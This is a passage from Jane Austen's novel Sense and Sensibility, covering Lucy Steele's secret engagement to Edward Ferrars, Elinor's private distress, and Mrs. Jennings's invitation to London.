any use to YOU to know my opinion of her. +But really I never understood that you were at all connected +with that family, and therefore I am a little surprised, +I confess, at so serious an inquiry into her character." + +"I dare say you are, and I am sure I do not at all +wonder at it. But if I dared tell you all, you would not be +so much surprised. Mrs. Ferrars is certainly nothing to me +at present--but the time MAY come--how soon it will come +must depend upon herself--when we may be very intimately +connected." + +She looked down as she said this, amiably bashful, +with only one side glance at her companion to observe its +effect on her. + +"Good heavens!" cried Elinor, "what do you mean? +Are you acquainted with Mr. Robert Ferrars? Can you be?" +And she did not feel much delighted with the idea of such +a sister-in-law. + +"No," replied Lucy, "not to Mr. ROBERT Ferrars--I +never saw him in my life; but," fixing her eyes upon Elinor, +"to his eldest brother." + +What felt Elinor at that moment? Astonishment, +that would have been as painful as it was strong, had not +an immediate disbelief of the assertion attended it. +She turned towards Lucy in silent amazement, unable to divine +the reason or object of such a declaration; and though +her complexion varied, she stood firm in incredulity, +and felt in no danger of an hysterical fit, or a swoon. + +"You may well be surprised," continued Lucy; +"for to be sure you could have had no idea of it before; +for I dare say he never dropped the smallest hint of it +to you or any of your family; because it was always meant +to be a great secret, and I am sure has been faithfully +kept so by me to this hour. Not a soul of all my relations +know of it but Anne, and I never should have mentioned +it to you, if I had not felt the greatest dependence +in the world upon your secrecy; and I really thought my +behaviour in asking so many questions about Mrs. Ferrars +must seem so odd, that it ought to be explained. +And I do not think Mr. Ferrars can be displeased, +when he knows I have trusted you, because I know he has +the highest opinion in the world of all your family, +and looks upon yourself and the other Miss Dashwoods quite +as his own sisters."--She paused. + +Elinor for a few moments remained silent. +Her astonishment at what she heard was at first too +great for words; but at length forcing herself to speak, +and to speak cautiously, she said, with calmness of manner, +which tolerably well concealed her surprise and solicitude-- +"May I ask if your engagement is of long standing?" + +"We have been engaged these four years." + +"Four years!" + +"Yes." + +Elinor, though greatly shocked, still felt unable +to believe it. + +"I did not know," said she, "that you were even +acquainted till the other day." + +"Our acquaintance, however, is of many years date. +He was under my uncle's care, you know, a considerable while." + +"Your uncle!" + +"Yes; Mr. Pratt. Did you never hear him talk +of Mr. Pratt?" + +"I think I have," replied Elinor, with an exertion +of spirits, which increased with her increase of emotion. + +"He was four years with my uncle, who lives at Longstaple, +near Plymouth. It was there our acquaintance begun, +for my sister and me was often staying with my uncle, +and it was there our engagement was formed, though not till +a year after he had quitted as a pupil; but he was almost +always with us afterwards. I was very unwilling to enter +into it, as you may imagine, without the knowledge and +approbation of his mother; but I was too young, and loved +him too well, to be so prudent as I ought to have been.-- +Though you do not know him so well as me, Miss Dashwood, +you must have seen enough of him to be sensible he is +very capable of making a woman sincerely attached to him." + +"Certainly," answered Elinor, without knowing what +she said; but after a moment's reflection, she added, +with revived security of Edward's honour and love, +and her companion's falsehood--"Engaged to Mr. Edward +Ferrars!--I confess myself so totally surprised at +what you tell me, that really--I beg your pardon; +but surely there must be some mistake of person or name. +We cannot mean the same Mr. Ferrars." + +"We can mean no other," cried Lucy, smiling. "Mr. Edward +Ferrars, the eldest son of Mrs. Ferrars, of Park Street, +and brother of your sister-in-law, Mrs. John Dashwood, +is the person I mean; you must allow that I am not likely +to be deceived as to the name of the man on who all my happiness +depends." + +"It is strange," replied Elinor, in a most painful perplexity, +"that I should never have heard him even mention your name." + +"No; considering our situation, it was not strange. +Our first care has been to keep the matter secret.-- +You knew nothing of me, or my family, and, therefore, +there could be no OCCASION for ever mentioning my name +to you; and, as he was always particularly afraid of his +sister's suspecting any thing, THAT was reason enough +for his not mentioning it." + +She was silent.--Elinor's security sunk; but her +self-command did not sink with it. + +"Four years you have been engaged," said she +with a firm voice. + +"Yes; and heaven knows how much longer we may have +to wait. Poor Edward! It puts him quite out of heart." +Then taking a small miniature from her pocket, she added, +"To prevent the possibility of mistake, be so good as to look +at this face. It does not do him justice, to be sure, +but yet I think you cannot be deceived as to the person +it was drew for.--I have had it above these three years." + +She put it into her hands as she spoke; and when Elinor +saw the painting, whatever other doubts her fear of a +too hasty decision, or her wish of detecting falsehood +might suffer to linger in her mind, she could have none of +its being Edward's face. She returned it almost instantly, +acknowledging the likeness. + +"I have never been able," continued Lucy, "to give +him my picture in return, which I am very much vexed at, +for he has been always so anxious to get it! But I am +determined to set for it the very first opportunity." + +"You are quite in the right," replied Elinor calmly. +They then proceeded a few paces in silence. Lucy spoke first. + +"I am sure," said she, "I have no doubt in the world +of your faithfully keeping this secret, because you must +know of what importance it is to us, not to have it reach +his mother; for she would never approve of it, I dare say. +I shall have no fortune, and I fancy she is an exceeding +proud woman." + +"I certainly did not seek your confidence," said Elinor; +"but you do me no more than justice in imagining that I +may be depended on. Your secret is safe with me; +but pardon me if I express some surprise at so unnecessary +a communication. You must at least have felt that my +being acquainted with it could not add to its safety." + +As she said this, she looked earnestly at Lucy, +hoping to discover something in her countenance; perhaps the +falsehood of the greatest part of what she had been saying; +but Lucy's countenance suffered no change. + +"I was afraid you would think I was taking a great +liberty with you," said she, "in telling you all this. +I have not known you long to be sure, personally at least, +but I have known you and all your family by description +a great while; and as soon as I saw you, I felt almost as if +you was an old acquaintance. Besides in the present case, +I really thought some explanation was due to you after my +making such particular inquiries about Edward's mother; +and I am so unfortunate, that I have not a creature whose +advice I can ask. Anne is the only person that knows of it, +and she has no judgment at all; indeed, she does me a great +deal more harm than good, for I am in constant fear of her +betraying me. She does not know how to hold her tongue, +as you must perceive, and I am sure I was in the greatest +fright in the world t'other day, when Edward's name was +mentioned by Sir John, lest she should out with it all. +You can't think how much I go through in my mind from +it altogether. I only wonder that I am alive after what +I have suffered for Edward's sake these last four years. +Every thing in such suspense and uncertainty; and seeing +him so seldom--we can hardly meet above twice a-year. +I am sure I wonder my heart is not quite broke." + +Here she took out her handkerchief; but Elinor did +not feel very compassionate. + +"Sometimes." continued Lucy, after wiping her eyes, +"I think whether it would not be better for us both +to break off the matter entirely." As she said this, +she looked directly at her companion. "But then +at other times I have not resolution enough for it.-- +I cannot bear the thoughts of making him so miserable, +as I know the very mention of such a thing would do. +And on my own account too--so dear as he is to me--I don't +think I could be equal to it. What would you advise +me to do in such a case, Miss Dashwood? What would you +do yourself?" + +"Pardon me," replied Elinor, startled by the question; +"but I can give you no advice under such circumstances. +Your own judgment must direct you." + +"To be sure," continued Lucy, after a few minutes +silence on both sides, "his mother must provide for him +sometime or other; but poor Edward is so cast down by it! +Did you not think him dreadful low-spirited when he was at +Barton? He was so miserable when he left us at Longstaple, +to go to you, that I was afraid you would think him quite ill." + +"Did he come from your uncle's, then, when he visited us?" + +"Oh, yes; he had been staying a fortnight with us. +Did you think he came directly from town?" + +"No," replied Elinor, most feelingly sensible of +every fresh circumstance in favour of Lucy's veracity; +"I remember he told us, that he had been staying +a fortnight with some friends near Plymouth." +She remembered too, her own surprise at the time, +at his mentioning nothing farther of those friends, +at his total silence with respect even to their names. + +"Did not you think him sadly out of spirits?" +repeated Lucy. + +"We did, indeed, particularly so when he first arrived." + +"I begged him to exert himself for fear you +should suspect what was the matter; but it made him +so melancholy, not being able to stay more than a +fortnight with us, and seeing me so much affected.-- +Poor fellow!--I am afraid it is just the same with him now; +for he writes in wretched spirits. I heard from him just +before I left Exeter;" taking a letter from her pocket +and carelessly showing the direction to Elinor. +"You know his hand, I dare say, a charming one it is; +but that is not written so well as usual.--He was tired, +I dare say, for he had just filled the sheet to me as full +as possible." + +Elinor saw that it WAS his hand, and she could doubt +no longer. This picture, she had allowed herself to believe, +might have been accidentally obtained; it might not have +been Edward's gift; but a correspondence between them +by letter, could subsist only under a positive engagement, +could be authorised by nothing else; for a few moments, she +was almost overcome--her heart sunk within her, and she could +hardly stand; but exertion was indispensably necessary; +and she struggled so resolutely against the oppression +of her feelings, that her success was speedy, and for +the time complete. + +"Writing to each other," said Lucy, returning the +letter into her pocket, "is the only comfort we have +in such long separations. Yes, I have one other comfort +in his picture, but poor Edward has not even THAT. +If he had but my picture, he says he should be easy. +I gave him a lock of my hair set in a ring when he was at +Longstaple last, and that was some comfort to him, he said, +but not equal to a picture. Perhaps you might notice +the ring when you saw him?" + +"I did," said Elinor, with a composure of voice, +under which was concealed an emotion and distress beyond +any thing she had ever felt before. She was mortified, +shocked, confounded. + +Fortunately for her, they had now reached the cottage, +and the conversation could be continued no farther. +After sitting with them a few minutes, the Miss Steeles +returned to the Park, and Elinor was then at liberty +to think and be wretched. + + + + + +[At this point in the first and second editions, Volume 1 ends.] + + + + + +CHAPTER 23 + + +However small Elinor's general dependence on +Lucy's veracity might be, it was impossible for her +on serious reflection to suspect it in the present case, +where no temptation could be answerable to the folly +of inventing a falsehood of such a description. What Lucy +had asserted to be true, therefore, Elinor could not, +dared not longer doubt; supported as it was too on every +side by such probabilities and proofs, and contradicted +by nothing but her own wishes. Their opportunity of +acquaintance in the house of Mr. Pratt was a foundation +for the rest, at once indisputable and alarming; and Edward's +visit near Plymouth, his melancholy state of mind, +his dissatisfaction at his own prospects, his uncertain +behaviour towards herself, the intimate knowledge of the +Miss Steeles as to Norland and their family connections, +which had often surprised her, the picture, the letter, +the ring, formed altogether such a body of evidence, +as overcame every fear of condemning him unfairly, +and established as a fact, which no partiality could +set aside, his ill-treatment of herself.--Her resentment +of such behaviour, her indignation at having been its dupe, +for a short time made her feel only for herself; +but other ideas, other considerations, soon arose. +Had Edward been intentionally deceiving her? Had he feigned +a regard for her which he did not feel? Was his engagement +to Lucy an engagement of the heart? No; whatever it might +once have been, she could not believe it such at present. +His affection was all her own. She could not be deceived +in that. Her mother, sisters, Fanny, all had been +conscious of his regard for her at Norland; it was not +an illusion of her own vanity. He certainly loved her. +What a softener of the heart was this persuasion! How much +could it not tempt her to forgive! He had been blamable, +highly blamable, in remaining at Norland after he first +felt her influence over him to be more than it ought +to be. In that, he could not be defended; but if he +had injured her, how much more had he injured himself; +if her case were pitiable, his was hopeless. +His imprudence had made her miserable for a while; but it +seemed to have deprived himself of all chance of ever +being otherwise. She might in time regain tranquillity; +but HE, what had he to look forward to? Could he +ever be tolerably happy with Lucy Steele; could he, +were his affection for herself out of the question, +with his integrity, his delicacy, and well-informed mind, +be satisfied with a wife like her--illiterate, artful, +and selfish? + +The youthful infatuation of nineteen would naturally +blind him to every thing but her beauty and good nature; +but the four succeeding years--years, which if rationally +spent, give such improvement to the understanding, must +have opened his eyes to her defects of education, +while the same period of time, spent on her side +in inferior society and more frivolous pursuits, +had perhaps robbed her of that simplicity which might +once have given an interesting character to her beauty. + +If in the supposition of his seeking to marry herself, +his difficulties from his mother had seemed great, +how much greater were they now likely to be, when +the object of his engagement was undoubtedly inferior +in connections, and probably inferior in fortune to herself. +These difficulties, indeed, with a heart so alienated +from Lucy, might not press very hard upon his patience; +but melancholy was the state of the person by whom the +expectation of family opposition and unkindness, could +be felt as a relief! + +As these considerations occurred to her in painful +succession, she wept for him, more than for herself. +Supported by the conviction of having done nothing to +merit her present unhappiness, and consoled by the belief +that Edward had done nothing to forfeit her esteem, +she thought she could even now, under the first smart +of the heavy blow, command herself enough to guard every +suspicion of the truth from her mother and sisters. +And so well was she able to answer her own expectations, +that when she joined them at dinner only two hours +after she had first suffered the extinction of all her +dearest hopes, no one would have supposed from the +appearance of the sisters, that Elinor was mourning +in secret over obstacles which must divide her for ever +from the object of her love, and that Marianne was +internally dwelling on the perfections of a man, of whose +whole heart she felt thoroughly possessed, and whom she +expected to see in every carriage which drove near their house. + +The necessity of concealing from her mother and +Marianne, what had been entrusted in confidence to herself, +though it obliged her to unceasing exertion, was no +aggravation of Elinor's distress. On the contrary +it was a relief to her, to be spared the communication +of what would give such affliction to them, and to be +saved likewise from hearing that condemnation of Edward, +which would probably flow from the excess of their partial +affection for herself, and which was more than she felt +equal to support. + +From their counsel, or their conversation, she knew +she could receive no assistance, their tenderness and +sorrow must add to her distress, while her self-command +would neither receive encouragement from their example +nor from their praise. She was stronger alone, +and her own good sense so well supported her, that her +firmness was as unshaken, her appearance of cheerfulness +as invariable, as with regrets so poignant and so fresh, +it was possible for them to be. + +Much as she had suffered from her first conversation +with Lucy on the subject, she soon felt an earnest wish +of renewing it; and this for more reasons than one. +She wanted to hear many particulars of their engagement +repeated again, she wanted more clearly to understand +what Lucy really felt for Edward, whether there were any +sincerity in her declaration of tender regard for him, +and she particularly wanted to convince Lucy, by her +readiness to enter on the matter again, and her calmness +in conversing on it, that she was no otherwise interested +in it than as a friend, which she very much feared +her involuntary agitation, in their morning discourse, +must have left at least doubtful. That Lucy was disposed +to be jealous of her appeared very probable: it was plain +that Edward had always spoken highly in her praise, +not merely from Lucy's assertion, but from her venturing +to trust her on so short a personal acquaintance, +with a secret so confessedly and evidently important. +And even Sir John's joking intelligence must have had +some weight. But indeed, while Elinor remained so well +assured within herself of being really beloved by Edward, +it required no other consideration of probabilities +to make it natural that Lucy should be jealous; +and that she was so, her very confidence was a proof. +What other reason for the disclosure of the affair could +there be, but that Elinor might be informed by it of Lucy's +superior claims on Edward, and be taught to avoid him +in future? She had little difficulty in understanding thus +much of her rival's intentions, and while she was firmly +resolved to act by her as every principle of honour and +honesty directed, to combat her own affection for Edward +and to see him as little as possible; she could not deny +herself the comfort of endeavouring to convince Lucy +that her heart was unwounded. And as she could now have +nothing more painful to hear on the subject than had already +been told, she did not mistrust her own ability of going +through a repetition of particulars with composure. + +But it was not immediately that an opportunity +of doing so could be commanded, though Lucy was as well +disposed as herself to take advantage of any that occurred; +for the weather was not often fine enough to allow +of their joining in a walk, where they might most easily +separate themselves from the others; and though they +met at least every other evening either at the park +or cottage, and chiefly at the former, they could +not be supposed to meet for the sake of conversation. +Such a thought would never enter either Sir John or Lady +Middleton's head; and therefore very little leisure +was ever given for a general chat, and none at all for +particular discourse. They met for the sake of eating, +drinking, and laughing together, playing at cards, +or consequences, or any other game that was sufficiently noisy. + +One or two meetings of this kind had taken place, +without affording Elinor any chance of engaging Lucy +in private, when Sir John called at the cottage one morning, +to beg, in the name of charity, that they would all +dine with Lady Middleton that day, as he was obliged +to attend the club at Exeter, and she would otherwise be +quite alone, except her mother and the two Miss Steeles. +Elinor, who foresaw a fairer opening for the point she +had in view, in such a party as this was likely to be, +more at liberty among themselves under the tranquil +and well-bred direction of Lady Middleton than when +her husband united them together in one noisy purpose, +immediately accepted the invitation; Margaret, with her +mother's permission, was equally compliant, and Marianne, +though always unwilling to join any of their parties, +was persuaded by her mother, who could not bear to have her +seclude herself from any chance of amusement, to go likewise. + +The young ladies went, and Lady Middleton was happily +preserved from the frightful solitude which had threatened her. +The insipidity of the meeting was exactly such as Elinor +had expected; it produced not one novelty of thought +or expression, and nothing could be less interesting +than the whole of their discourse both in the dining +parlour and drawing room: to the latter, the children +accompanied them, and while they remained there, she was +too well convinced of the impossibility of engaging Lucy's +attention to attempt it. They quitted it only with the +removal of the tea-things. The card-table was then placed, +and Elinor began to wonder at herself for having ever +entertained a hope of finding time for conversation +at the park. They all rose up in preparation for a round game. + +"I am glad," said Lady Middleton to Lucy, +"you are not going to finish poor little Annamaria's +basket this evening; for I am sure it must hurt your +eyes to work filigree by candlelight. And we will make +the dear little love some amends for her disappointment +to-morrow, and then I hope she will not much mind it." + +This hint was enough, Lucy recollected herself instantly +and replied, "Indeed you are very much mistaken, +Lady Middleton; I am only waiting to know whether you can +make your party without me, or I should have been at my +filigree already. I would not disappoint the little angel +for all the world: and if you want me at the card-table now, +I am resolved to finish the basket after supper." + +"You are very good, I hope it won't hurt your eyes-- +will you ring the bell for some working candles? +My poor little girl would be sadly disappointed, I know, +if the basket was not finished tomorrow, for though I +told her it certainly would not, I am sure she depends +upon having it done." + +Lucy directly drew her work table near her +and reseated herself with an alacrity and cheerfulness +which seemed to infer that she could taste no greater +delight than in making a filigree basket for a spoilt child. + +Lady Middleton proposed a rubber of Casino to the others. +No one made any objection but Marianne, who with her usual +inattention to the forms of general civility, exclaimed, +"Your Ladyship will have the goodness to excuse ME--you +know I detest cards. I shall go to the piano-forte; +I have not touched it since it was tuned." And without +farther ceremony, she turned away and walked to the instrument. + +Lady Middleton looked as if she thanked heaven +that SHE had never made so rude a speech. + +"Marianne can never keep long from that instrument +you know, ma'am," said Elinor, endeavouring to smooth +away the offence; "and I do not much wonder at it; for it +is the very best toned piano-forte I ever heard." + +The remaining five were now to draw their cards. + +"Perhaps," continued Elinor, "if I should happen +to cut out, I may be of some use to Miss Lucy Steele, +in rolling her papers for her; and there is so much still +to be done to the basket, that it must be impossible +I think for her labour singly, to finish it this evening. +I should like the work exceedingly, if she would allow +me a share in it." + +"Indeed I shall be very much obliged to you +for your help," cried Lucy, "for I find there is more +to be done to it than I thought there was; and it would +be a shocking thing to disappoint dear Annamaria after all." + +"Oh! that would be terrible, indeed," said Miss Steele-- +"Dear little soul, how I do love her!" + +"You are very kind," said Lady Middleton to Elinor; +"and as you really like the work, perhaps you will be +as well pleased not to cut in till another rubber, +or will you take your chance now?" + +Elinor joyfully profited by the first of these proposals, +and thus by a little of that address which Marianne +could never condescend to practise, gained her own end, +and pleased Lady Middleton at the same time. Lucy made room +for her with ready attention, and the two fair rivals were +thus seated side by side at the same table, and, with the +utmost harmony, engaged in forwarding the same work. +The pianoforte at which Marianne, wrapped up in her own +music and her own thoughts, had by this time forgotten +that any body was in the room besides herself, was luckily +so near them that Miss Dashwood now judged she might safely, +under the shelter of its noise, introduce the interesting +subject, without any risk of being heard at the card-table. + + + +CHAPTER 24 + + +In a firm, though cautious tone, Elinor thus began. + +"I should be undeserving of the confidence you have +honoured me with, if I felt no desire for its continuance, +or no farther curiosity on its subject. I will +not apologize therefore for bringing it forward again." + +"Thank you," cried Lucy warmly, "for breaking +the ice; you have set my heart at ease by it; for I was +somehow or other afraid I had offended you by what I +told you that Monday." + +"Offended me! How could you suppose so? Believe me," +and Elinor spoke it with the truest sincerity, +"nothing could be farther from my intention than to give +you such an idea. Could you have a motive for the trust, +that was not honourable and flattering to me?" + +"And yet I do assure you," replied Lucy, her little +sharp eyes full of meaning, "there seemed to me to be +a coldness and displeasure in your manner that made me +quite uncomfortable. I felt sure that you was angry with me; +and have been quarrelling with myself ever since, for having +took such a liberty as to trouble you with my affairs. +But I am very glad to find it was only my own fancy, +and that you really do not blame me. If you knew what a +consolation it was to me to relieve my heart speaking to you +of what I am always thinking of every moment of my life, +your compassion would make you overlook every thing else +I am sure." + +"Indeed, I can easily believe that it was a very great +relief to you, to acknowledge your situation to me, and be +assured that you shall never have reason to repent it. +Your case is a very unfortunate one; you seem to me to +be surrounded with difficulties, and you will have need +of all your mutual affection to support you under them. +Mr. Ferrars, I believe, is entirely dependent on his mother." + +"He has only two thousand pounds of his own; it would +be madness to marry upon that, though for my own part, +I could give up every prospect of more without a sigh. +I have been always used to a very small income, and could +struggle with any poverty for him; but I love him too well +to be the selfish means of robbing him, perhaps, of all that +his mother might give him if he married to please her. +We must wait, it may be for many years. With almost every +other man in the world, it would be an alarming prospect; +but Edward's affection and constancy nothing can deprive me of +I know." + +"That conviction must be every thing to you; +and he is undoubtedly supported by the same trust in your's. +If the strength of your reciprocal attachment had failed, +as between many people, and under many circumstances +it naturally would during a four years' engagement, +your situation would have been pitiable, indeed." + +Lucy here looked up; but Elinor was careful +in guarding her countenance from every expression +that could give her words a suspicious tendency. + +"Edward's love for me," said Lucy, "has been pretty +well put to the test, by our long, very long absence +since we were first engaged, and it has stood the trial +so well, that I should be unpardonable to doubt it now. +I can safely say that he has never gave me one moment's +alarm on that account from the first." + +Elinor hardly knew whether to smile or sigh +at this assertion. + +Lucy went on. "I am rather of a jealous temper too +by nature, and from our different situations in life, +from his being so much more in the world than me, and our +continual separation, I was enough inclined for suspicion, +to have found out the truth in an instant, if there had been +the slightest alteration in his behaviour to me when we met, +or any lowness of spirits that I could not account for, +or if he had talked more of one lady than another, +or seemed in any respect less happy at Longstaple than he +used to be. I do not mean to say that I am particularly +observant or quick-sighted in general, but in such a case +I am sure I could not be deceived." + +"All this," thought Elinor, "is very pretty; +but it can impose upon neither of us." + +"But what," said she after a short silence, +"are your views? or have you none but that of waiting for +Mrs. Ferrars's death, which is a melancholy and shocking +extremity?--Is her son determined to submit to this, +and to all the tediousness of the many years of suspense +in which it may involve you, rather than run the risk +of her displeasure for a while by owning the truth?" + +"If we could be certain that it would be only +for a while! But Mrs. Ferrars is a very headstrong +proud woman, and in her first fit of anger upon hearing +it, would very likely secure every thing to Robert, +and the idea of that, for Edward's sake, frightens away +all my inclination for hasty measures." + +"And for your own sake too, or you are carrying +your disinterestedness beyond reason." + +Lucy looked at Elinor again, and was silent. + +"Do you know Mr. Robert Ferrars?" asked Elinor. + +"Not at all--I never saw him; but I fancy he +is very unlike his brother--silly and a great coxcomb." + +"A great coxcomb!" repeated Miss Steele, whose ear had +caught those words by a sudden pause in Marianne's music.-- +"Oh, they are talking of their favourite beaux, I dare say." + +"No sister," cried Lucy, "you are mistaken there, our +favourite beaux are NOT great coxcombs." + +"I can answer for it that Miss Dashwood's is not," +said Mrs. Jennings, laughing heartily; "for he is one +of the modestest, prettiest behaved young men I ever saw; +but as for Lucy, she is such a sly little creature, +there is no finding out who SHE likes." + +"Oh," cried Miss Steele, looking significantly round +at them, "I dare say Lucy's beau is quite as modest +and pretty behaved as Miss Dashwood's." + +Elinor blushed in spite of herself. Lucy bit her lip, +and looked angrily at her sister. A mutual silence took +place for some time. Lucy first put an end to it by saying +in a lower tone, though Marianne was then giving them +the powerful protection of a very magnificent concerto-- + +"I will honestly tell you of one scheme which has +lately come into my head, for bringing matters to bear; +indeed I am bound to let you into the secret, for you +are a party concerned. I dare say you have seen enough +of Edward to know that he would prefer the church to every +other profession; now my plan is that he should take +orders as soon as he can, and then through your interest, +which I am sure you would be kind enough to use out of +friendship for him, and I hope out of some regard to me, +your brother might be persuaded to give him Norland living; +which I understand is a very good one, and the present +incumbent not likely to live a great while. That would +be enough for us to marry upon, and we might trust to time +and chance for the rest." + +"I should always be happy," replied Elinor, "to show +any mark of my esteem and friendship for Mr. Ferrars; +but do you not perceive that my interest on such an +occasion would be perfectly unnecessary? He is brother +to Mrs. John Dashwood--THAT must be recommendation enough +to her husband." + +"But Mrs. John Dashwood would not much approve +of Edward's going into orders." + +"Then I rather suspect that my interest would +do very little." + +They were again silent for many minutes. At length +Lucy exclaimed with a deep sigh, + +"I believe it would be the wisest way to put an end +to the business at once by dissolving the engagement. +We seem so beset with difficulties on every side, +that though it would make us miserable for a time, +we should be happier perhaps in the end. But you will +not give me your advice, Miss Dashwood?" + +"No," answered Elinor, with a smile, which concealed +very agitated feelings, "on such a subject I certainly +will not. You know very well that my opinion would have +no weight with you, unless it were on the side of your wishes." + +"Indeed you wrong me," replied Lucy, with great +solemnity; "I know nobody of whose judgment I think +so highly as I do of yours; and I do really believe, +that if you was to say to me, 'I advise you by all means +to put an end to your engagement with Edward Ferrars, +it will be more for the happiness of both of you,' +I should resolve upon doing it immediately." + +Elinor blushed for the insincerity of Edward's +future wife, and replied, "This compliment would effectually +frighten me from giving any opinion on the subject +had I formed one. It raises my influence much too high; +the power of dividing two people so tenderly attached +is too much for an indifferent person." + +"'Tis because you are an indifferent person," said Lucy, +with some pique, and laying a particular stress on those words, +"that your judgment might justly have such weight with me. +If you could be supposed to be biased in any respect +by your own feelings, your opinion would not be worth having." + +Elinor thought it wisest to make no answer to this, +lest they might provoke each other to an unsuitable increase +of ease and unreserve; and was even partly determined +never to mention the subject again. Another pause +therefore of many minutes' duration, succeeded this speech, +and Lucy was still the first to end it. + +"Shall you be in town this winter, Miss Dashwood?" +said she with all her accustomary complacency. + +"Certainly not." + +"I am sorry for that," returned the other, +while her eyes brightened at the information, +"it would have gave me such pleasure to meet you there! +But I dare say you will go for all that. To be sure, +your brother and sister will ask you to come to them." + +"It will not be in my power to accept their invitation +if they do." + +"How unlucky that is! I had quite depended upon +meeting you there. Anne and me are to go the latter end +of January to some relations who have been wanting us to +visit them these several years! But I only go for the sake +of seeing Edward. He will be there in February, otherwise +London would have no charms for me; I have not spirits for it." + +Elinor was soon called to the card-table by the +conclusion of the first rubber, and the confidential +discourse of the two ladies was therefore at an end, +to which both of them submitted without any reluctance, +for nothing had been said on either side to make them +dislike each other less than they had done before; +and Elinor sat down to the card table with the melancholy +persuasion that Edward was not only without affection +for the person who was to be his wife; but that he had +not even the chance of being tolerably happy in marriage, +which sincere affection on HER side would have given, +for self-interest alone could induce a woman to keep a man +to an engagement, of which she seemed so thoroughly aware +that he was weary. + +From this time the subject was never revived by Elinor, +and when entered on by Lucy, who seldom missed an opportunity +of introducing it, and was particularly careful to inform +her confidante, of her happiness whenever she received a letter +from Edward, it was treated by the former with calmness +and caution, and dismissed as soon as civility would allow; +for she felt such conversations to be an indulgence which +Lucy did not deserve, and which were dangerous to herself. + +The visit of the Miss Steeles at Barton Park was +lengthened far beyond what the first invitation implied. +Their favour increased; they could not be spared; +Sir John would not hear of their going; and in spite +of their numerous and long arranged engagements in Exeter, +in spite of the absolute necessity of returning to fulfill +them immediately, which was in full force at the end +of every week, they were prevailed on to stay nearly two +months at the park, and to assist in the due celebration +of that festival which requires a more than ordinary +share of private balls and large dinners to proclaim +its importance. + + + +CHAPTER 25 + + +Though Mrs. Jennings was in the habit of spending a large +portion of the year at the houses of her children and friends, +she was not without a settled habitation of her own. +Since the death of her husband, who had traded with success +in a less elegant part of the town, she had resided every +winter in a house in one of the streets near Portman Square. +Towards this home, she began on the approach of January +to turn her thoughts, and thither she one day abruptly, +and very unexpectedly by them, asked the elder Misses +Dashwood to accompany her. Elinor, without observing +the varying complexion of her sister, and the animated look +which spoke no indifference to the plan, immediately gave +a grateful but absolute denial for both, in which she +believed herself to be speaking their united inclinations. +The reason alleged was their determined resolution +of not leaving their mother at that time of the year. +Mrs. Jennings received the refusal with some surprise, +and repeated her invitation immediately. + +"Oh, Lord! I am sure your mother can spare you +very well, and I DO beg you will favour me with +your company, for I've quite set my heart upon it. +Don't fancy that you will be any inconvenience to me, +for I shan't put myself at all out of my way for you. +It will only be sending Betty by the coach, and I +hope I can afford THAT. We three shall be able to go +very well in my chaise; and when we are in town, +if you do not like to go wherever I do, well and good, +you may always go with one of my daughters. I am sure +your mother will not object to it; for I have had such +good luck in getting my own children off my hands that she +will think me a very fit person to have the charge of you; +and if I don't get one of you at least well married +before I have done with you, it shall not be my fault. +I shall speak a good word for you to all the young men, +you may depend upon it." + +"I have a notion," said Sir John, "that Miss Marianne +would not object to such a scheme, if her elder sister +would come into it. It is very hard indeed that she +should not have a little pleasure, because Miss Dashwood +does not wish it. So I would advise you two, to set off +for town, when you are tired of Barton, without saying +a word to Miss Dashwood about it." + +"Nay," cried Mrs. Jennings, "I am sure I shall be +monstrous glad of Miss Marianne's company, whether Miss +Dashwood will go or not, only the more the merrier say I, +and I thought it would be more comfortable for them to +be together; because, if they got tired of me, they might talk +to one another, and laugh at my old ways behind my back. +But one or the other, if not both of them, I must have. +Lord bless me! how do you think I can live poking by myself, +I who have been always used till this winter to have +Charlotte with me. Come, Miss Marianne, let us strike +hands upon the bargain, and if Miss Dashwood will change +her mind by and bye, why so much the better." + +"I thank you, ma'am, sincerely thank you," said Marianne, +with warmth: "your invitation has insured my gratitude for ever, +and it would give me such happiness, yes, almost the greatest +happiness I am capable of, to be able to accept it. +But my mother, my dearest, kindest mother,--I feel the +justice of what Elinor has urged, and if she were to be +made less happy, less comfortable by our absence--Oh! no, +nothing should tempt me to leave her. It should not, +must not be a struggle." + +Mrs. Jennings repeated her assurance that Mrs. Dashwood +could spare them perfectly well; and Elinor, who now +understood her sister, and saw to what indifference to +almost every thing else she was carried by her eagerness +to be with Willoughby again, made no farther direct +opposition to the plan, and merely referred it to her +mother's decision, from whom however she scarcely expected +to receive any support in her endeavour to prevent a visit, +which she could not approve of for Marianne, and which +on her own account she had particular reasons to avoid. +Whatever Marianne was desirous of, her mother would be eager +to promote--she could not expect to influence the latter +to cautiousness of conduct in an affair respecting which she +had never been able to inspire her with distrust; and she +dared not explain the motive of her own disinclination +for going to London. That Marianne, fastidious as she was, +thoroughly acquainted with Mrs. Jennings' manners, +and invariably disgusted by them, should overlook every +inconvenience of that kind, should disregard whatever +must be most wounding to her irritable feelings, in her +pursuit of one object, was such a proof, so strong, +so full, of the importance of that object to her, as Elinor, +in spite of all that had passed, was not prepared to witness. + +On being informed of the invitation, Mrs. Dashwood, +persuaded that such an excursion would be productive +of much amusement to both her daughters, and perceiving +through all her affectionate attention to herself, +how much the heart of Marianne was in it, would not hear +of their declining the offer upon HER account; insisted on +their both accepting it directly; and then began to foresee, +with her usual cheerfulness, a variety of advantages that +would accrue to them all, from this separation. + +"I am delighted with the plan," she cried, +"it is exactly what I could wish. Margaret and I shall +be as much benefited by it as yourselves. When you +and the Middletons are gone, we shall go on so quietly +and happily together with our books and our music! You +will find Margaret so improved when you come back again! +I have a little plan of alteration for your bedrooms too, +which may now be performed without any inconvenience +to any one. It is very right that you SHOULD go to town; +I would have every young woman of your condition in life +acquainted with the manners and amusements of London. +You will be under the care of a motherly good sort +of woman, of whose kindness to you I can have no doubt. +And in all probability you will see your brother, +and whatever may be his faults, or the faults of his wife, +when I consider whose son he is, I cannot bear to have you so +wholly estranged from each other." + +"Though with your usual anxiety for our happiness," +said Elinor, "you have been obviating every impediment +to the present scheme which occurred to you, there is +still one objection which, in my opinion, cannot be so +easily removed." + +Marianne's countenance sunk. + +"And what," said Mrs. Dashwood, "is my dear prudent +Elinor going to suggest? What formidable obstacle is she +now to bring forward? Do let me hear a word about the +expense of it." + +"My objection is this; though I think very well of +Mrs. Jennings's heart, she is not a woman whose society +can afford us pleasure, or whose protection will give +us consequence." + +"That is very true," replied her mother, "but of +her society, separately from that of other people, +you will scarcely have any thing at all, and you will +almost always appear in public with Lady Middleton." + +"If Elinor is frightened away by her dislike of +Mrs. Jennings," said Marianne, "at least it need not prevent +MY accepting her invitation. I have no such 